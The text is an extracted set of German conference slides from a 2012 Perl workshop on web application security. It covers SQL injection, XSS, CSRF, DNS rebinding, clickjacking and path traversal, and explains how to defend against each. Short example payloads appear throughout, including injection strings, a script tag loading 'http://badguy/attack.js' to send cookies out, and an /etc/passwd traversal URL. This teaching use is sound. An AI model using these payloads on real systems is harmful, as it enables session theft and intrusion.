47
about:config J|Down|left MB nlchster Punkt K|Up|right MB vorhergehender Punkt Right nlchste Seite Left vorhergehende Seite <Return> zur Seite springen im Inhaltsverzeichnis O Outline Mode on/off T|escape|F5 Inhaltsverzeichnis on/off S|. zwischen Styles rotieren .init Web 2.0 Security Abenteuer Internet Steffen Ullrich, GeNUA mbH Deutscher PerlWorkshop 2012, Erlangen about:me seit 1996 Perl Autor von Net::SIP, Net::Inspect, Mail::SPF::Iterator... Maintainer IO::Socket::SSL seit 2001 bei GeNUA mbH Entwicklung Hochsicherheitsfirewalls GeNUGate seit 2011 Forschungsprojekt BMBF "Padiofire" Web 2.0 Sicherheit about:presentation Web 2.0 Security was ist Web 2.0 Architektur Angriffe Verteidigungsmöglichkeiten für Entwickler und Anwender hohe Informationsdichte! Konzepte erfassen, Details später nachlesen bei Fragen bitte unterbrechen

Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Embed Size (px)

Citation preview

Page 1: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

about:config

J|Down|left MB ­ nächster PunktK|Up|right MB ­ vorhergehender PunktRight ­ nächste SeiteLeft ­ vorhergehende Seite<Return> ­ zur Seite springen im InhaltsverzeichnisO ­ Outline Mode on/offT|escape|F5 ­ Inhaltsverzeichnis on/offS|. ­ zwischen Styles rotieren

.init

Web 2.0 SecurityAbenteuer InternetSteffen Ullrich, GeNUA mbHDeutscher Perl­Workshop 2012, Erlangen

about:me

seit 1996 PerlAutor von Net::SIP, Net::Inspect, Mail::SPF::Iterator...Maintainer IO::Socket::SSL

seit 2001 bei GeNUA mbHEntwicklung Hochsicherheitsfirewalls GeNUGateseit 2011 Forschungsprojekt BMBF "Padiofire" Web 2.0 Sicherheit

about:presentation

Web 2.0 Securitywas ist Web 2.0ArchitekturAngriffeVerteidigungsmöglichkeiten

für Entwickler und Anwender

hohe Informationsdichte!Konzepte erfassen, Details später nachlesenbei Fragen bitte unterbrechen

Page 2: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Web 2.0

Was ist Web 2.0

Was ist Web 2.0

dynamisch, interaktiv, nutzerspezifischRich Client: HTML, Javascript, CSS, Multimedia, (Flash, Silverlight...)Sessions, Datenbanken, AuthorisierungInhalte oft nutzergeneriert, aus diversen Quellen vereinigt

grundlegende Architektur

Server: Speichern, Aggregieren, Bereitstellung der DatenMiddleware: Weiterleitung der DatenClient (Browser u.a.):

Darstellung der DatenNutzerinteraktionGenerierung/Veränderung von Daten

Überblicksbild ­ grob

Überblicksbild ­ fein

Page 3: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

grundlegende Probleme

viele miteinander komplex interagierende Komponentenmangelhaftes Verständnis Funktion und Interaktionenungerechtfertigtes Vertrauen in korrekte FunktionDesignprobleme des SpezifikationUmsetzung konträr zur Spezifikation

.next

anhand von konkreten Beispieleninteragierende Komponenten beschreibenSicherheitsprobleme zeigenVerteidigung/Workarounds bietenund deren Komplexität verdeutlichen

Top­Buzz: SQL Injection, XSS, CSRFdann Rest systematischer und je nach Zeiterste Hälfe primär Angriffezweite Hälfte (nach Pause) primär Verteidigung

Ziele des Angreifers

Ziele & Mittel des Angreifers

Page 4: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Ziele

InformationsdiebstahlIdentitätsmissbrauchDenial Of ServiceResourcenmissbrauch

Wege

direkter Angriff auf ServerSQL Injectionlokale Exploits...

Hijacking von (authorisierten) SessionsSession: Verbindung zwischen Client und Server

nutzerspezifischevtl. authorisiertSession­Id in URL oder Formulardaten, Cookie

Hijacking: Missbrauch der Session

Formen des Session­Hijacking

aktive Session im Browser des Opfers missbrauchenSession­Riding

Session­Id außerhalb vom Browser des Opfers zu nutzenSession­Diebstahl

Session­Id klauenSession­Fixation:

Session­Id vorab festlegenwarten, das Opfer diese Session­Id nutzt

Session­Prediction:Session­Id erraten

SQL­Injection

SQL­Injection

Page 5: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Intro

SANS Top#1 Most Dangerous Software Error 20112011/2012:

Anonymous/Lulzsec vs. Sony, GEMA, HBGary, NATO, Apple, ...Drupal, Wordpress, Joomla, Mambo...

interagierende Komponenten:Webserver mit SQL Datenbankrouge Client

Beispiel

http://server/get?id=42select * from table where id=$id;http://server/get?id=42%20or%201=1select * from table where id=42 or 1=1;

Bild SQL Injection

Analyse

ungerechtfertigtes Vertrauen in InputImpact:

Daten klauenDaten löschenAuthentication Bypass

Page 6: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

DOS...

Fix:ValidierungEscapingoder Parameter­Binding

SQL Escaping

diverse Escaping Regeln in SQLStandard:

'string'single Quote verdoppeln 'foo''bar''foo\nbar' ­> 'foobar'­­ comment

MySQL:'string' oder "string"'foo\'bar''foo|'bar' escape '|'

SQL Escaping #2

PostgreSQL:E'foo\047bar'E'foo\'bar'$abc$foo'bar$abc$, $$foo'bar$$B'bit', X'hex'/* comment */

Oracle:'foo\'bar''foo'bar'

... ?

SQL Parameter­Binding

Escaping ist offensichtlich nicht wirklich trivialvielfältige Escaping Rulesviele Möglichkeiten auszubrechen

daher am besten Parameter Binding nutzenMySQL: select * from T where F=?Oracle: ?, DBD::Oracle: ?,:name

Page 7: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

PostgreSQL: ?,$1 DBD::Pg: ?,$1,:namegutes Framework/ORM benutzt Parameter­Binding

XSS

XSS

Intro

XSS ­ Cross Side Scriptingauch eine Injection

SQL Injection ­ SQL Statement ändernXSS Injection ­ (Java)script einschleusenXXX Injection ­ Programmablauf (ungeplant) ändern

SANS Top#4 Most Dangerous Software Error 2011nach SQL Injection, OS Command Injection und Buffer Overflow (Code Injection)

Möglichkeiten

voller Zugriff auf DOMweiteres Script nachladenSession Diebstahl, z.B document.cookie weiterleitenSession RidingDaten auslesen (Passwörter, hidden Formularfelder...)Seite manipulieren, z.B.

unbemerkt meine Überweisungsdatenmit TAN von Nutzer bestätigen lassen

"Browser Rootkit"

zentraler Vektor

Einfügen von Skript in HTML möglichan nahezu beliebigen Stellenvon beliebigen QuellenDesignproblem der SpezifikationFix: Limitieren der Stellen und Quellen für Skript

Content­Security­Policy (CSP, HTML5), Details später

Page 8: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Arten

Stored XSS: irgendwo bösartiges Skript(­fragment) gespeichertServer: Datenbank, Filesystem...3rd Party Server (Ads, Tracking...)Middlware: Proxy, ...Client: Cookie, Cache, localStorage...

Reflected XSS: bad URL auf Client ­> Server ­> HTML + injected ScriptDOM XSS: Script Injection durch Manipulation des DOM im Browsergroße Vielfalt an Vektoren und Komponenten

Bild XSS Komponenten

Reflected XSS

Server reflektiert Skriptcode vom Attacker zum Opfer

Server: <input name=n value="$_POST[n]">n="><script%20src=http://badguy/attack.js><input name=n value=""><script src=http://badguy/attack.js>attack.js: z.B. document.cookie auslesen und verschicken

Variationen"><img%20src=x%20onerror="javascript...">"%20onfocus="...

Page 9: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Bild Reflected XSS

Analyse

mangelhafte Validierung Input/Output im Serverungerechtfertigtes Vertrauen in RequestFix: Validierung, Normalisierung, Escaping im Server, Details später

gerne auch in 404 Fehlerseiten zu finden"$URL not found", "wrong $value"

Stored XSS (server­side)

Idee: kompromittierte Daten sind bereits in Datenbank, Filesystem..durch SQL Injection, File­Uploads, Webmail...

Vektor: ungerechtfertigtes Vertrauen in Inhalt Datenbank, Filesystem..Fix: Validierung, Normalisierung, Escaping im Server vor Ausgabe

Bild Server­Side Stored XSS

Page 10: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

DOM XSS (lokal)

gewünschte Skriptausführung durch Modifikation des DOMohne Beteiligung des Servers

Beispiel

document.write('<input type=hidden name=h value="' + location.href + '">')URL http://host/...#"><img%20src=x%20onerror="..."<input type=hidden name=h value=""><img src=x onerror="..."Variationen mit document.referrer

Bild lokales DOM XSS

Page 11: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Analyse

ungerechtfertigtes Vertrauen in Variablen, die nicht unter Kontrolle des Skriptes sindFix: Validierung, Escaping

CSRF

CSRF

Intro

CSRF ­ Cross Site Request ForgerySANS Top#12 Most Dangerous Software Error 2011Form des Session­Riding: Browser des Opfers führt Aktion ausinteragierende Komponenten:

Client: CookiestoreWebserver mit aktiver Session zu Client

Beispiel

Page 12: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

in http:// attacker/foo.htmlhttp://server/doitCookie für Server wird mit übertragen

Variationen:<form action=http://server/doit<img src=http://server/doit

Bild CSRF Session­Riding

Analyse

Cookie für Server wird übertragen, auch wenn Origin nicht ServerDesignproblem Cookieverhalten

Workarounds:Origin, Referer checkengeheimes CSRF­Token, gebunden an Session

allgemeiner Schutz vor Session­Riding

Komplexeres Beispiel

Komplexeres Beispiel

Page 13: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Hijack via DNS + XSS

2008 nslookup localhost.ebay.com ­> 127.0.0.12008 XSS auf CUPS (127.0.0.1:631)Kombination:

eingeloggt auf ebay.comZugriff auf localhost.ebay.com:631XSS: Auslesen document.cookie für *.ebay.comSession­Hijacking

Bild DNS+XSS Combo

Cookie­Policy

Origin Host per Default (signin.ebay.com)incl. Subdomains und Parentdomain bei Bedarf (.ebay.com)Port nicht relevant (80 vs. 631)Zugriff aus Javascript (document.cookie) außer wenn httpOnlyProtokoll egal, außer wenn secure

Analyse

Page 14: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

localhost.ebay.com:631 hat Zugriff auf .ebay.com CookieVektor#1: lokale IP in remote DNS

Vertrauen in korrektes DNS nicht gerechtfertigtFix: DNS Eintrag fixenWorkaround: dnswall

Vektor#2: XSS auf 127.0.0.1:631interne Lücke von Außen ausnutzbarFix: Validierung, Normalisierung, Escaping

Vektor#3: Designproblem Cookiesbeliebige Subdomains oder keinebeliebige PortsWorkaround für Cookie­Diebstahl: httpOnly Attribut

kein Schutz gegen Session­Riding

Variation

NXDOMAIN Hijacking durch ISPskombiniert mit XSS in Landing Page

Komponenten

.next

Page 15: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

weitere Attackenungerechtfertigtes Vertrauen in

3rd­PartyMiddlewareserver­local data

Authorization DiebstahlBypasses

AuthorizationZugriffsrechte ServerNetwork segmentation

UI RedressingClickjacking

Pause

misplaced Trust

Misplaced Trust

3rd Party Skript

man kann Skripte via <script src=... von externer Quelle einbindendiese haben vollen Zugriff auf DOMBeispiele:

Google Analytics, Facebook u.a. Tracking DiensteAdserverJavascript Bibliotheken von zentraler Quelle

Impact:Session­Diebstahl, Session­Riding

Bild Trust 3rd Party Script

Page 16: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Analyse

diese Skripte sind oft außerhalb der eigenen KontrolleCodequalitätZuverlässigkeit, Sicherheit externer InfrastrukturSicherheit Middleware (DNS)

Vektor: Vertrauen oft nicht gerechtfertigtinsb. Adserver in Vergangenheit betroffen

Fixes:keine externen Server einbindenEinbinden via (sandboxed) iframes

Vorsicht vor UI­Redressing Attacken

Misplaced Trust in Middleware

Man­In­The­Middle Angrifferouge WLANs mit vertrauenserweckenden Namenkompromittiertes Netz (via DNS Hijacking, ARP Spoofing)Session­Diebstahl: Firesheepfragile PKI Infrastruktur + Law EnforcementAds einbetten durch ISPProxy Injection

Middleware kann Skripte einschleusen oder verändernkann Browsercache kompromittieren

ga.js mit Cache­control: max­age 720000Schutz:

HTTPS mit Certifcate Pinning, VPN

Page 17: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

aber WLAN freischalten braucht evtl. bereits Browseröffentliche Computer (Internetkiosk..) vermeiden

Misplaced Trust in Server­Local Data

interne Skripte in anderer oder gleicher Domaindie für andere Trustbereiche gedacht sindunterliegen weniger Qualitätskontrolleteilweise nicht klar, das überhaupt Skript vorliegt (Userdata)betrifft auch andere aktive Inhalte (Flash, Silverlight...)Impact:

Session­Diebstahl, Session­Riding

Bild local Scripts

Analyse

Vektor: Vertrauen oft nicht gerechtfertigt2007 Google Mail XSS via Lücke in blogspot Polling Script

Schutz:Trustbereiche festlegenCodequalität muss zu Trustbereich passenkein Mix von Trustbereichen via Script­Includes, besser (sandboxed) iframe

Page 18: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

am besten seperate Domains je TrustbereichCookie­Policy verhindert dann Cookie­DiebstahlSame­Origin­Policy und Frame­Policy verhindern weitere Interaktionen

Same­Origin­Policy

Interaktion nur mit Inhalten gleichen Ursprungs (Origin)Origin = Protokoll und Hostname (nicht IP) und Port (nicht IE)beschränkt Zugriff auf andere Frames, XMLHTTPRequest, localStorage...Includes via <script src=, <style src=... sind davon nicht betroffenanaloger Mechanismus für Flash, Silverlight Plugins (Java anders)kann via document.domain setzen bewusst aufgeweicht werden

Frame­Policy

wer kann auf Frame­Inhalt zugreifen, neue Daten in Frame laden..abhängig von Origin (Same­Origin­Policy) und Vererbungenkomplex und in Vergangenheit buggy

Authorization Diebstahl

Authorization Diebstahl

Intro

Klauen der Authorization Credentialsoder auch Setzen auf neue Werteentweder Nutzer bekannt, will Passwort habenoder Abgreifen von User+Password Kombinationenaus hijacked Session herausoder wenn Nutzer nicht eingeloggt istoder am Server

Erraten des Passworts

Vektor: automatisiertes Checken Passwort gegen Dictionary

Page 19: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Fix: Begrenzung der Anzahl an Versuchen je ZeitVektor: Passwort zu einfach

Fix: Benutzen/Forcieren komplexer PasswörterVektor: Passwort Reuse

Fix: don't reuse, use Passwortmanager, Schema o.ä

Auslesen/Setzen in hijacked Session

Vektor: Session authorisiert, Passwort auslesenFix: kein Passwort anzeigen, kein Klartext­PW speichern

Vektor: Passwort ändernAbfrage aktuelles Passwort vor Setzen eines neuen

Vektor: Passwort ResetToken an hinterlegte E­Mail verschickenÄndern der E­Mail nur mit Passwort ermöglichen

Auslesen der Daten via Passwortmanager

via XSS Login Formular erstellenoder durch File Uploads o.ä. Techniken

einige Browser füllen automatisch das Formular ausvia XSS Auslesen der ausgefüllten InformationenSchutz:

kein Abspeichern zulassen (autocomplete=off)Passwordmanager mit Masterpasswort+Timeout nutzenPasswordmanager nutzen, der nur auf Interaktion ausfüllt

Abgreifen der Daten als Man­In­The­Middle

analog zu Session­Hijacking via MITMSchutz: HTTPS + Certificate PinningVariante: Passwort­Reset Mails abfangen

Kompromittierung Server

Server knacken, um Authorization Daten auszulesenz.B. via lokalen Exploitoder via SQL­Injection

Schutz:

Page 20: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Server sichernSQL­Injection durch Validierung, Escaping.. verhindernPassort nur crypted und mit ausreichendem Salt speichern

Passworthints in DB können Knacken vereinfachenSANS TOP#8 "Missing Encryption of Sensitive Data"

Authorization Bypass

Authorization Bypass

Intro

Erlangung von Informationen ohne Authorisierungauthorisierte Manipulation von Daten ohne Passwort zu kennen

Authorization­Seite umgehen

manchmal Authorization nur über Seite, in der dann die Inhalte ungeschützten Inhalteverlinkt sind

URL der Inhalte erratenDirectory IndexZugriff via ftp­Server

Beschränkungen für unauthorisierte Nutzer via Javascript oder Cookies realisiertJavascript ausschaltenCookies regelmäßig löschen

NY Times Paywall: Query Parameter löschen in URLVektor: Mulumulu statt Authorization benutztFix: use Authorization!

Page 21: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Bypass via LDAP Injection

bei Authorisierung gegen LDAP ServerVektor:

query="(cn="+$userName+")"Attacke: userName=*Resultat: (cn=*)

fehlerhaft authorisierter ZugriffFix: Validierung, Escaping

Bypass via SQL Injection

bei Authorisierung gegen SQL DatenbankVektor:

...where user='$user' and pw='$pw'Attacke: pw=' or ''='...where user='...' and pw='' or ''=''

fehlerhaft authorisierter ZugriffFix: Validierung, Escaping

Server Permission Bypass

Server Permission Bypass

Intro

an den Zugriffsmechanismen des Webservers vorbei auf sensitive Daten zugreifenQuellcode PHP­Seiten mit Datenbank­Passwort/etc/passwdDatenbankfiles

Umgehung der Schutzmechanismen des Serversdocument root.htaccess o.ä.

Bild Permission Bypass

Page 22: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Bypass via Path Traversal

http://host/../../.%2E%5Cetc/passwdVektor:

mangelnde InputvalidierungServer hat zu grosse Zugriffsrechte

Schutz:Validierung unter Beachtung der weiteren Schichten des Systems

URL­EscapingCharset­NormalisierungShell­EscapesPath­Normalisierung

Server keinen direkten Zugriff auf sensitive Daten geben (jail)

Bypass via Alternate Data­Streams

http://host/.../dbconnect.php::$DATAVektor, Schutz: analog zu Path Traversal

Network Segmentation Bypass

Network Segmentation Bypass

Intro

blindes Vertrauen: interne Systeme von Firewall geschützt

Page 23: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Sicherheit der Systeme selber vernachlässigtsiehe auch Session­Hijacking via XSS/CUPS+DNS Kombo­Attackeoder auch Router umprogrammieren

haben oft kein Passwortoder noch das Herstellerpasswortman kann z.B. DNS­Server ändernBlackhat 2010: "How To Hack Millions Of Routers"

DNS Rebinding

beteiligte Komponenten:Browserzu attackierender Webserver auf Clientseite 10.0.0.1attacker Domain attacker.com 9.8.7.6

mit Webserverund kontrolliertem DNS Server

Idee: DNS Server für attacker.com liefertmal 9.8.7.6und mal 10.0.0.1

Umsetzung

Request#1: http://attacker.com/DNS Lookup: 9.8.7.6Resultat: XMLHTTPRequest('http://attacker.com')

Request#2: http://attacker.comDNS Lookup: 10.0.0.1Resultat: voller Zugriff auf lokales SystemzB als Proxy gesteuert für Attacker dienen

Bild DNS Rebinding

Page 24: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Analyse

Vektorallen DNS Servern wird vertrautfehlende Verifizierung Host­Header auf Router

Fix: Validierung Host­Header im ServerWorkarounds:

DNS Pinning in Browser, Proxies... (z.Z. leicht auszuhebeln)DNS Proxy mit Filter für interne Adressen (dnswall)

UI­Redressing

UI Redressing

Intro

dem Nutzer bekannte Merkmale nachbilden um ihn zu Aktionen zu bewegenWindows­Dialoge "Virus gefunden" o.äkomplette Browser nachbilden mit angeblichem https://bank/..sslstrip "safe" faviconSchutz: sehr schwierig

non­Standard Umgebung benutzen in der Redressing auffällt

Page 25: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

existente Elemente von Webseite (Buttons etc) in anderen Kontext einbetten (iframe)

Clickjacking

einzelne Buttons o.ä aus zu attackierender Seite in andere Umgebung einbettennur in anderem Kontext zeigenoder überlagern mit anderem Aussehen (Button/Keypress durchreichen)in Kombination mit authorisierten Sessions oder Passwort­AutofilloutFacebook Friending, Router Rekonfiguration...

Nutzer zum Button­Press, Key­Press etc bringen

Bild Clickjacking

Analyse

Vektor:Designproblem Interaktion Frames/WindowsRendering Frameinhalt und ­position leicht vorhersagbar

teilweise Workarounds:Javascript Frame BustingCSP, X­Frame­Options: DENY|SAMEORIGINNoScript

Variation: Pop­Under + Doppelklickerster Klick bringt Pop­Under nach obenzweiter Klick wird dann auf zu attackierender Seite ausgeführt

BREAK!

Page 26: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

PAUSE!

.next

Zusammenfassung SchutzmechanismenDetails Validierung, Normalisierung, EscapingBesonderheiten bei Content­type und Charsetweitere AngriffsvektorenWas bringt uns die ZukunftResourcen

Zusammenfassung Schutzmechanismen

Schutz der Session gegen HijackingValidierung InputNormalisierung, Validierung, Escaping vor Ausgabe oder WeitergabeZiel:

Angriffsfläche verringernAufwand für Angriff vergrößern

"Best Effort" vs. "Best Security"

viele Webseiten brokenBrowser/Proxies arbeiten drum herum

"muss gehen"statt "muss sicher gehen"

Anwender/Webdesigner merken daher nicht, wenn etwas broken istund es bleibt damit brokenund man muss damit auch in Zukunft klarkommen :(

Schutz gegen Hijacking

Schutz der Session

Session­Diebstahl

Page 27: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

XSS verhindern z.B. mit CSPLimitierung Angriffsfläche durch

httpOnly Attribut für CookiesCookie nur auf Host beschränken wenn möglichSSL benutzen und secure Attribut für Cookie setzenevtl. Browser­Fingerprint, IP... einfliessen lassen

bei Änderung Re­Authorizierung erforderlichständig wechselnder Session­Id, kurze Timeouts

Riding, Fixation, Prediction

Session­Riding: XSS/CSRF verhindernSession­Fixation:

neuer Session­Id bei Wechsel Trustbewusste Namenskollisionen zu vermeiden

foo.host.com und bad.host.com können beide .host.com cookie setzennicht vorhersagbaren Cookienamen benutzen

Session­Prediction: random Session­Id

klare Trustbereiche

verhindern, dasSkripte mit niedrigem VertrauenDaten mit höherem Vertrauen kompromittieren

klarwerden, welche Trustbereiche existierenkein <script, <style aus unterschiedlichen Trustbereichen mixenNutzung von Same­Origin­Policy und Cookie­Policy als Wände

verschiedene Domains je Trustbereichverschiedene Subdomain, Ports.. nicht ausreichendgut: www.gmx.net, www.gmxattachments.netschlecht: user1.wordpress.com, user2.wordpress.com

Validierung

Validierung

warum

Überprüfen, ob Daten den Erwartungen entsprechen

Page 28: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

muss vor Weiterverarbeitung der Daten geschehenNormalisierung vor Validierung vereinfacht diese

aber dann auch normalisierte Daten weiterverarbeiten!

Inputvalidierung Server

woher kommt der Request (wg. CSRF)für wen ist er bestimmt (wg. DNS Rebinding)Validierung FormularfelderValidierung Fileuploads

Herkunft und Ziel von Request prüfen

Kontext: Origin­ bzw. Referer­Headerfür mich? Host­Headergültiger Session­Idgültiges Anti­CSRF Token, sollte mit Session assoziiert sein!evtl. Clientzertifikat

Inputvalidierung Formulare

nicht auf Restriktionen im Client verlassenNormalisieren vor Validierung und VerarbeitungCharset berücksichtigenfehlende oder unerwartete/doppelte Parameter?stimmen Typ und Wertebereich?

URL ­ Whitelist statt Blacklist für Methodenkein feed://, mhtml://, file://, jar://..., javascript:

gibt es nicht angebotene Optionen?

Inputvalidierung Fileuploads

Größe bereits beim Upload beschränkenContent­Type ermittelnNormalisieren Typ und Extensionist Typ erlaubt?Doppeldeutigkeiten durch Normalisierung verringen

Page 29: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Forwardvalidierung Server

Validierung und Escaping für SQL, XPATH, LDAP...Parameter Bindung wenn möglich bevorzugen

Outputvalidierung Server

nicht darauf vertrauen, das Daten in DB normalisiert sindbeim Normalisieren und Escaping beachten, in welchem Kontext die Daten stehen

Validierung des Ziels im Browser

DNS ist unsicher, DNSSec benutzenbei https Serverzertifikat prüfen

Certificate­Pinning benutzennur ausgewählten CAs vertrauenCRLs/OCSP zwingend prüfen

ist Ziel wirklich trusted in diesem Kontext? (Ad/Trackingserver)bei postMessage klares Ziel statt * übergeben

Herkunft im Browser überprüfen

location.href, document.referrer... sind manipulierbarWert kann nicht vertraut werden

Origin von Interframe postMessage prüfenQuellframe kann inzwischen aber auch andere URL habenanalog bei Interframe­Kommunikation via Flash

Eingaben im Browser prüfen

primär Komfort für Userkein Ersatz für serverseitige Prüfung

Normalisierung

Normalisierung

Page 30: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

was ist das

Ambivalenzen in der Interpretation der Daten vermeidenstörende Informationen entfernenwhitelisten, nicht blacklistennorm(data) == norm(norm(data))erst normalisierendann validierendann verarbeiten bzw. ausliefern

Normalisierung HTML

Text bzgl. Entities gleich behandelnalle Attribute gleichartig quoten<,>,& überall quoten, ",' in Attributen auchbeachten, das script, style, textarea... Bereiche speziell sindMSIE akzeptiert auch ` quotes ­ ersetzenAttribut id nicht oder nur eingeschränkt erlauben (HTML Injection Attacke)onXXX=, style=, script und style Bereiche besser entfernenURLs whitelisten: nur http/https, kein file, mhtml, javascript, feed..data URLs nicht oder nur sehr eingeschränkt erlaubennur valide Attribute für Tag erlaubenHTML5::Sanitizer ­ nicht perfekt, aber i.A. ausreichend

Normalisierung XHTML

analog zu HTML, aber...muss valides XML seinscript, style, textarea etc sind nicht speziell, CDATA nutzengegen XHTML Schema prüfen

Normalisierung Bilder, Audio, Video

strip überflüssige Metadaten (EXIF...)normalisieren Metadaten (z.B. bzgl. Charset)Recodieren

gegen Dual Content­Type Attackenfür Optimierung Bildgröße

Page 31: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

um vom Client unterstützte Formate+Eigenschaften zu bekommen

Normalisierung PDF

strip Javascript u.a. Featuresz.B. mittels pdf2ps|ps2pdf

Normalisieren Word etc

will man sowas wirklich zum Upload erlauben?MacrosOLE diverser Artenbesser konvertieren nach PDF

Normalisieren anderer Sachen

lieber verbietenansonsten datenspezifische Parser benutzenLücken lauern überall

Escaping und Encoding

Escaping und Encoding

was ist das

Methode spezielle Zeichen darzustellenSonderzeichen (NUL, CR, LF, TAB...)Unicode

mit führender Escapesequenz: \n,\roder encoded: \012,\x34,&#56,\u1234,%67...je nach Kontext unterschiedlicher Syntax

kontextspezifisches Escaping

Page 32: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

bisherigen Escape­Kontext des Strings feststellenbenötigten Kontext für Escaping feststellenKontext­Upgrade via Escaping wenn erforderlichHTML relevante Kontexte

(X)HTML Text und AttributeJavascript Programm, Stringkonstanten, E4XCSS Anweisungen, StringkonstantenURLs

SQL, XPATH, LDAP, OS cmd...

HTML Kontext ­ Text

Entities &name; &dec; &#hex;Minimum: &gt; &lt; &amp;FF: &na\0me; &\0dec; &\0#hex;IE: ignoriert \0 sowieso

HTML Kontext ­ Attribute

alle ­ HTML Kontext (&quot;...)style= ­ HTML + CSS Kontext

co&x6cor: #fff; xxx=javascript:.. (href,src..) ­ HTML + Javascript Kontext

j&#65;vascript:...javascript&col\0on...

onXXX= (onload,..) ­ HTML + Javascript Kontextxxx=link (href,src...) ­ HTML + URL KontextQuoting nach Bedarf, aber empfohlen

HTML Kontext ­ Bereiche

<script..</script> ­ Javascript Kontext<style..</style> ­ CSS Kontext<textarea..</textarea>, plaintext... ­ CDATA

XHTML Kontext

Text: wie HTMLAttribute: wie HTML, müssen aber immer gequotet sein

Page 33: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

spezielle Bereiche:keinefür script, style etc müssen CDATA Bereiche erstellt werdenoder es muss wie Text behandelt werden (Entities werden expandiert)

CSS Kontext

Anweisungen ASCIIStringkonstanten

Unicode \uH1,6, evtl. Space danachCharacter­Escaping: \C

eigentlich nur Unicode/Escaping innerhalb von Stringkonstantenaber MSIE macht es auch im Anweisungsteil und unescaped vor dem CSS Parsen!

style="color:\065xpression\028 alert\028 1\029\029;"style="color:expression(alert(1));"

Javascript Kontext

Anweisungen ASCIIUnicode \xHHHH (nur 16bit Unicode)Escape \oOOO, \xHH, \CUnicode etc nicht nur in Stringkonstanten

alert\u0061lertjavascript:&#x5c;u0061lert('hi')

E4X ­ XML?

URL Kontext

ASCIImethod:data, method://host[:port]pathRFC1739 schränkt Anteil an erlaubten Characters einpath URL Escaping %HH, method,host,port kein Escaping nötigkeine Angaben zu verwendetem Charset (außerhalb ASCII)

Content­type

Content­type

Page 34: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

was ist das

wie interpretiere ich die DatenDaten ohne MagicDaten mit ambivalenter Magic

HTML vs. XHTML vs. XML vs. XSLT vs. plain TextZIP vs. JAR vs. ODF vs. DOCX...

Content­type ­ HTTP Response

Content­type HeaderStandard: nur raten wenn unbekannt oder invalid

z.B. auch bei ftp­URLsMSIE weiß es gerne mal besser

halbwegs dokumentiert, jedoch komplex und Änderungen unterworfeninzwischen mit X­Content­Type­Options: nosniff ausschaltbar

bei image/* eigentlich allen Browsern egal, Hauptsache image/

Content­type ­ HTTP Request

für Formulare per enctype spezifiziertTyp von File­Uploads nicht spezifiert ­> Ratendaneben noch diverse Framework­interne Typen für JSON, XML...

Dual Content Types

Upload erlaubt nur bestimmte MIME­Tpen, z.B. GIFUpload: GIF87a=1; ..bad script..dann Einbinden als script, css, MHTML,..

Kontext bestimmt Interpretation, nicht Content­Type headerDesignfehler ­ Content­Type sollte IMMER ausschlaggebend seinDesignfehler CSS ­ Müll wird per Standard überlesen

2010 Cross Origin CSS (POF Yahoo Mail) ­ "Upload" kann auch Liste vonMail­Subjects sein

Designfehler Browser ­ Müll wird per Design meist überlesen

Page 35: Abenteuer Internet Steffen Ullrich, GeNUA mbH Maintainer ... · PDF file

Workarounds

starke Restriktion UploadformateDownloads nur mit lokalem Referer/Origin erlaubenLinks, Embeddings von lokalem Content in uploaded HTML stark limitierenscript, style ... in uploaded HTML verbieten

Charsets

Charsets

was ist das

US­ASCII: nur 7bitIE hat früher das 8te bit einfach ignoriert"\xbc" == "\x3c" == "<"

latin1, cp850, windows­1252, iso­8859­1, iso­8859­15: 8bitfast das gleicheASCII als Basis

iso­8859­X: analog zu latin1Shift­JS

kann char "verstecken""\xe0<!­.." ­> "!­.." (Opera, IE?)

Unicode: mehrere Bytes, evtl. je nach Characterimmer Character, nicht Bytes verarbeiten!

"\u202a/" != " */"

Charset Unicode

